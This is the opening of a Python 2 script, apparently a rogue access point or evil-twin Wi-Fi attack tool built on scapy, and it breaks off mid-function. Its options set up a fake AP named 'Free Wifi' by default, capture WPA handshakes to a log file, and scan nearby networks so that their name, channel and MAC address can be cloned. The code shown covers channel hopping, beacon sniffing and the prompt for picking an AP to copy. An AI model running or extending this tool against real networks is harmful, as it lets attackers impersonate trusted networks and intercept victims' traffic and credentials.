#!/usr/bin/env python

import os
from subprocess import Popen, PIPE
import time
import sys
import re
import signal
import argparse
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb = 0
from threading import Thread, Lock
import socket
import struct
import fcntl

# Console colors
W  = '\033[0m'  # white (normal)
R  = '\033[31m' # red
G  = '\033[32m' # green
O  = '\033[33m' # orange
B  = '\033[34m' # blue
P  = '\033[35m' # purple
C  = '\033[36m' # cyan
GR = '\033[37m' # gray
T  = '\033[93m' # tan

lock = Lock()
DN = open(os.devnull, 'w')
APs = {} # for listing APs
chan = 0 # for channel hopping Thread
count = 0 # for channel hopping Thread
forw = '0\n' # for resetting ip forwarding to original state
ap_mac = '' # for sniff's cb function
err = None # check if channel hopping is working

def parse_args():
    #Create the arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("-c", "--channel", help="Choose the channel for the fake AP. Default is channel 6")
    parser.add_argument("-w", "--wpa", help="Start the fake AP with WPA beacon tags and capture handshakes in fakeAPlog.cap file", action="store_true")
    parser.add_argument("-e", "--essid", help="Choose the ESSID for the fake AP. Default is 'Free Wifi'. Wrap in quotes if it is more than 1 word: -e 'Free Wifi'")
    parser.add_argument("-t", "--targeting", help="Will print a list of APs in range and allow you to copy their settings except for the encryption which by default will be open", action="store_true")
    return parser.parse_args()


###############
# AP TARGETING
###############

def channel_hop(mon_iface):
    global chan, err
    while 1:
        try:
            err = None
            if chan > 11:
                chan = 0
            chan = chan+1
            channel = str(chan)
            iw = Popen(['iw', 'dev', mon_iface, 'set', 'channel', channel], stdout=DN, stderr=PIPE)
            for line in iw.communicate()[1].split('\n'):
                if len(line) > 2: # iw dev shouldnt display output unless there's an error
                    with lock:
                        err = '['+R+'-'+W+'] Channel hopping failed: '+R+line+W+'\n    \
Try disconnecting the monitor mode\'s parent interface (e.g. wlan0)\n    \
from the network if you have not already\n'
                    break
            time.sleep(1)
        except KeyboardInterrupt:
            sys.exit()

def target_APs():
    os.system('clear')
    if err:
        print err
    print '['+G+'+'+W+'] Ctrl-C at any time to copy an access point from below'
    print 'num  ch   ESSID'
    print '---------------'
    for ap in APs:
        print G+str(ap).ljust(2)+W+' - '+APs[ap][0].ljust(2)+' - '+T+APs[ap][1]+W

def copy_AP():
    copy = None
    while not copy:
        try:
            copy = raw_input('\n['+G+'+'+W+'] Choose the ['+G+'num'+W+'] of the AP you wish to copy: ')
            copy = int(copy)
        except Exception:
            copy = None
            continue
    channel = APs[copy][0]
    essid = APs[copy][1]
    if str(essid) == "\x00":
        essid = ' '
    mac = APs[copy][2]
    return channel, essid, mac

def targeting_cb(pkt):
    global APs, count
    if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
        try:
            ap_channel = str(ord(pkt[Dot11Elt:3].info))
        except Exception:
            return
        essid = pkt[Dot11Elt].info